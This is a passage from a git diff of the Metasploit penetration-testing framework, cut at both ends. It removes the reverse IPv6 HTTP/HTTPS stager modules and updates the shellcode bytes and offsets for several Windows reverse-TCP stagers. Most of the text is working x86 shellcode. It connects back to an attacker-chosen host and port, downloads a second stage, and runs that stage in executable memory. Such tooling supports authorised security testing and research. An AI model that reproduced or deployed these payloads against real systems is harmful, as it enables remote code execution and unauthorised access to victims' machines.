"\xFF\xD5\x50\x52\x4F\x58\x59\x5F\x41\x55\x54\x48\x5F\x53\x54\x4F" + + "\x50\xEB\x48\x59\x31\xD2\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51" + + "\x52\x56\x68\xEB\x55\x2E\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x68\x80" + + "\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86" + + "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5" + + "\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF" + + "\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40" + + "\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5" + + "\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68" + + "\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0" + + "\x75\xE5\x58\xC3\xE8\xEC\xFE\xFF\xFF" } )) @@ -129,7 +129,7 @@ module Metasploit3 jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V") #patch call Internetopen - p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("l")[0] + jmp_offset].pack("V") + p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V") # patch the LPORT lport = datastore['LPORT'] diff --git a/modules/payloads/stagers/windows/reverse_ipv6_http.rb b/modules/payloads/stagers/windows/reverse_ipv6_http.rb deleted file mode 100644 index d4dd790a69..0000000000 --- a/modules/payloads/stagers/windows/reverse_ipv6_http.rb +++ /dev/null @@ -1,91 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' -require 'msf/core/handler/reverse_ipv6_http' - - -module Metasploit3 - - include Msf::Payload::Stager - include Msf::Payload::Windows - - def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Reverse HTTP Stager (IPv6)', - 'Description' => 'Tunnel communication over HTTP and IPv6', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseIPv6Http, - 'Convention' => 'sockedi http', - 'Stager' => - { - 'Offsets' => - { - # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) - # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 190, 'v' ], # Not a typo, really little endian - }, - 'Payload' => - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" + - "\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" + - "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" + - "\x52\x68\x00\x02\x20\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" + - "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" + - "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" + - "\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" + - "\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" + - "\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" + - "\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" + - "\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF" - } - )) - end - - # - # Do not transmit the stage over the connection. We handle this via HTTPS - # - def stage_over_connection? - false - end - - # - # Generate the first stage - # - def generate - p = super - i = p.index("/12345\x00") - u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW) + "\x00" - p[i, u.length] = u - - lhost = datastore['LHOST'] || "0000:0000:0000:0000:0000:0000:0000:0000" - if Rex::Socket.is_ipv6?(lhost) - lhost = "[#{lhost}]" - end - - p + lhost + "\x00" - end - - # - # Always wait at least 20 seconds for this payload (due to staging delays) - # - def wfs_delay - 20 - end - -end diff --git a/modules/payloads/stagers/windows/reverse_ipv6_https.rb b/modules/payloads/stagers/windows/reverse_ipv6_https.rb deleted file mode 100644 index fd0206c91c..0000000000 --- a/modules/payloads/stagers/windows/reverse_ipv6_https.rb +++ /dev/null @@ -1,90 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'msf/core/handler/reverse_ipv6_https' - -module Metasploit3 - - include Msf::Payload::Stager - include Msf::Payload::Windows - - def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Reverse HTTPS Stager (IPv6)', - 'Description' => 'Tunnel communication over HTTP using SSL and IPv6', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseIPv6Https, - 'Convention' => 'sockedi https', - 'Stager' => - { - 'Offsets' => - { - # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) - # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 190, 'v' ], # Not a typo, really little endian - }, - 'Payload' => - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" + - "\xFF\xD5\xEB\x5F\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" + - "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x48\x59\x31\xD2" + - "\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" + - "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00\x89\xE0\x6A" + - "\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31\xFF\x57\x57" + - "\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74" + - "\x10\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" + - "\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68" + - "\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89" + - "\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5" + - "\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x51" + - "\xFF\xFF\xFF" - } - )) - end - - # - # Do not transmit the stage over the connection. We handle this via HTTPS - # - def stage_over_connection? - false - end - - # - # Generate the first stage - # - def generate - p = super - i = p.index("/12345\x00") - u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttps::URI_CHECKSUM_INITW) + "\x00" - p[i, u.length] = u - - lhost = datastore['LHOST'] || "0000:0000:0000:0000:0000:0000:0000:0000" - if Rex::Socket.is_ipv6?(lhost) - lhost = "[#{lhost}]" - end - - p + lhost + "\x00" - end - - # - # Always wait at least 20 seconds for this payload (due to staging delays) - # - def wfs_delay - 20 - end -end diff --git a/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb b/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb index fddfca5fa4..189975990e 100644 --- a/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,30 +33,30 @@ module Metasploit3 'RequiresMidstager' => false, 'Offsets' => { - 'LPORT' => [ 207, 'n' ], - 'LHOST' => [ 213, 'ADDR6' ], - 'SCOPEID' => [ 229, 'V' ] + 'LPORT' => [ 200, 'n' ], + 'LHOST' => [ 206, 'ADDR6' ], + 'SCOPEID' => [ 222, 'V' ] }, 'Payload' => - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\xB8\x04\x02\x00\x00\x29\xC4\x48\x48\x54\x50\x68\x29\x80" + - "\x6B\x00\xFF\xD5\x50\x50\x50\x6A\x06\x40\x50\x6A\x17\x68\xEA\x0F" + - "\xDF\xE0\xFF\xD5\x89\xC7\x6A\x1C\xE8\x1C\x00\x00\x00\x17\x00\x11" + - "\x5C\x00\x00\x00\x00\xB1\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xC1\xCC\xCC" + - "\xCC\xCC\xCC\xCC\xCC\xA1\xAA\xAA\xAA\x57\x68\x99\xA5\x74\x61\xFF" + - "\xD5\x89\xE6\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5" + - "\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53" + - "\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF" + - "\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3" + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + + "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x04\x02\x00\x00" + + "\x29\xC4\x48\x48\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50" + + "\x6A\x06\x40\x50\x6A\x17\x68\xEA\x0F\xDF\xE0\xFF\xD5\x89\xC7\x6A" + + "\x1C\xE8\x1C\x00\x00\x00\x17\x00\x11\x5C\x00\x00\x00\x00\xB1\xBB" + + "\xBB\xBB\xBB\xBB\xBB\xBB\xC1\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xA1\xAA" + + "\xAA\xAA\x57\x68\x99\xA5\x74\x61\xFF\xD5\x89\xE6\x6A\x00\x6A\x04" + + "\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10" + + "\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00" + + "\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE" + + "\xC3" } )) register_options( diff --git a/modules/payloads/stagers/windows/reverse_nonx_tcp.rb b/modules/payloads/stagers/windows/reverse_nonx_tcp.rb index c3e4fc7eee..fec46c5673 100644 --- a/modules/payloads/stagers/windows/reverse_nonx_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_nonx_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_ord_tcp.rb b/modules/payloads/stagers/windows/reverse_ord_tcp.rb index 0ec7e7e1ce..d73f7a32cb 100644 --- a/modules/payloads/stagers/windows/reverse_ord_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_ord_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_tcp.rb b/modules/payloads/stagers/windows/reverse_tcp.rb index a29d93a75c..d4778ebbb1 100644 --- a/modules/payloads/stagers/windows/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,35 +26,31 @@ module Metasploit3 'Stager' => { 'RequiresMidstager' => false, - 'Offsets' => { 'LHOST' => [ 194, 'ADDR' ], 'LPORT' => [ 201, 'n' ], 'ReverseConnectRetries' => [ 192, 'C'] }, + 'Offsets' => { + # ExitFunk Offset: 222 + 'LHOST' => [ 190, 'ADDR' ], + 'LPORT' => [ 197, 'n' ], + 'ReverseConnectRetries' => [ 188, 'C'] + }, 'Payload' => - # Built on Tue Jan 14 03:04:51 2014 - - # Name: stager_reverse_tcp_nx - # Length: 287 bytes - # Port Offset: 201 - # Host Offset: 194 - # RetryCounter Offset: 192 - # ExitFunk Offset: 226 - "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + - "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + - "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + - "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + - "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + - "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" + - "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" + - "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" + - "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A" + - "\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" + - "\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75" + - "\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" + - "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" + - "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" + - "\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3" - + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + + "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + + "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" + + "\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\x7F\x00" + + "\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5" + + "\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5" + + "\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF" + + "\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4" + + "\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F" + + "\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3" } )) diff --git a/modules/payloads/stagers/windows/reverse_tcp_allports.rb b/modules/payloads/stagers/windows/reverse_tcp_allports.rb index 1060cc93f4..4c1f2509bb 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_allports.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_allports.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,31 +26,26 @@ module Metasploit3 'Stager' => { 'RequiresMidstager' => false, - 'Offsets' => { 'LHOST' => [ 195, 'ADDR' ], 'LPORT' => [ 202, 'n' ], }, + 'Offsets' => { 'LHOST' => [ 188, 'ADDR' ], 'LPORT' => [ 195, 'n' ], }, 'Payload' => - # Length: 294 bytes - # Port Offset: 202 - # Host Offset: 195 - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + - "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + - "\xD5\x97\x68\x7F\x00\x00\x01\x68\x02\x00\x01\x00\x89\xE6\x6A\x10" + - "\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x12\x31\xC0\x66" + - "\x8B\x46\x02\x86\xE0\x66\x40\x86\xE0\x66\x89\x46\x02\xEB\xDF\x6A" + - "\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40" + - "\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93" + - "\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29" + - "\xC6\x85\xF6\x75\xEC\xC3" - + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + + "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + + "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" + + "\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x7F\x00\x00\x01" + + "\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74\x61" + + "\xFF\xD5\x85\xC0\x74\x0F\x66\x8B\x46\x02\x86\xE0\x40\x86\xE0\x66" + + "\x89\x46\x02\xEB\xE2\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F" + + "\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58" + + "\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8" + + "\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3" } )) end diff --git a/modules/payloads/stagers/windows/reverse_tcp_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_dns.rb index 129cee6219..660ed5a309 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_dns.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_dns.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,37 +30,35 @@ module Metasploit3 'Stager' => { 'RequiresMidstager' => false, - 'Offsets' => { 'LPORT' => [ 212, 'n' ], 'ReverseConnectRetries' => [ 207, 'C'] }, + 'Offsets' => { + # ExitFunk Offset: 297 + 'LPORT' => [ 272, 'n' ], + 'ReverseConnectRetries' => [ 267, 'C'] + }, 'Payload' => - # Name: stager_reverse_tcp_dns - # Length: 367 bytes - # Port Offset: 212 - # HostName Offset: 248 - # RetryCounter Offset: 207 - # ExitFunk Offset: 237 - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + - "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + - "\xD5\x97\xEB\x2F\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x1C\x6A\x05" + - "\x50\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74" + - "\x61\xFF\xD5\x85\xC0\x74\x51\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2" + - "\x56\xFF\xD5\xE8\xCC\xFF\xFF\xFF\x58\x58\x58\x58\x58\x58\x58\x58" + + 